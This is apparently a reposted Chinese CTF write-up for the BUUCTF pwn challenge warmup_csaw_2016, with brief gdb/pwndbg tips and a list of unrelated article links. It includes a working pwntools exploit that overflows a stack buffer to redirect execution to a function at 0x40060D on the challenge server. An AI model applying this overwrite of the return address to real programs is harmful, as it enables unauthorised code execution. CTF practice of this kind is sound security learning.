当前位置: 首页 > article >正文

【BUUCTF】warmup_csaw_2016

题目一:【BUUCTF】warmup_csaw_2016

1、题目描述:

2、下载附件,在kali中分析,64位,小端存储

3、使用ida64分析文件,找到main函数,F5反汇编

4、这里有两个数组都是64字节,在sprintf这里,将sub_40060D函数的地址存放在s中。

5、查看函数sub_40060D,地址

6、构造exp

from pwn import *

sh = remote("node5.buuoj.cn",28532)
sub_addr = 0x40060D
payload = b'a'*72+ p64(sub_addr)
sh.sendline(payload)
sh.interactive()

7、运行:

--------------------------------------

tip:dbg命令

01、使用gdb工具

02、使用pwndbg,在主函数处进行断点:

03、权限不够时,添加权限就可以

04、使用r命令运行程序

05、使用n命令单步调试


http://www.kler.cn/a/418214.html

相关文章:

  • Java知识速记:Lambda表达式
  • 我的创作纪念日
  • Deep Crossing:深度交叉网络在推荐系统中的应用
  • 2025 年 YOLO 十大未来应用场景
  • 51单片机(STC89C52)开发:点亮一个小灯
  • GESP2023年9月认证C++六级( 第三部分编程题(2)小杨的握手问题)
  • [2024年1月28日]第15届蓝桥杯青少组stema选拔赛C++中高级(第二子卷、编程题(1))
  • 给定一个整数可能为正,0,负数,统计这个数据的位数.
  • K8S网络系列--Flannel网络下UDP、VXLAN模式的通信流程机制分析
  • 【接口封装】——11、Qt 的单例模式
  • Python 元组详解
  • pycharm链接neo4j(导入文件)
  • SpringBoot项目的配置文件
  • 零拷贝相关知识点(二)
  • Paper -- 建筑物高度估计 -- 基于深度学习、图像处理和自动地理空间分析的街景图像建筑高度估算
  • 【赵渝强老师】PostgreSQL的段、区和块
  • 太古可口可乐香港通过SAP S/4HANA推动数字化转型
  • 延时系统建模,整数延时与分数延时,连续传函与离散传函,Pade近似与Thiran近似,Matlab实现
  • 会议直击|美格智能亮相2024紫光展锐全球合作伙伴大会,融合5G+AI共拓全球市场
  • SpringBoot条件装配@Conditional
  • C语言:深入理解指针(1)
  • 【优选算法】模拟
  • 【Linux】进程控制,手搓简洁版shell
  • LeetCode 动态规划 任意子数组和的绝对值的最大值
  • 【机器学习】入门机器学习:从理论到代码实践
  • 8)语法分析:引导词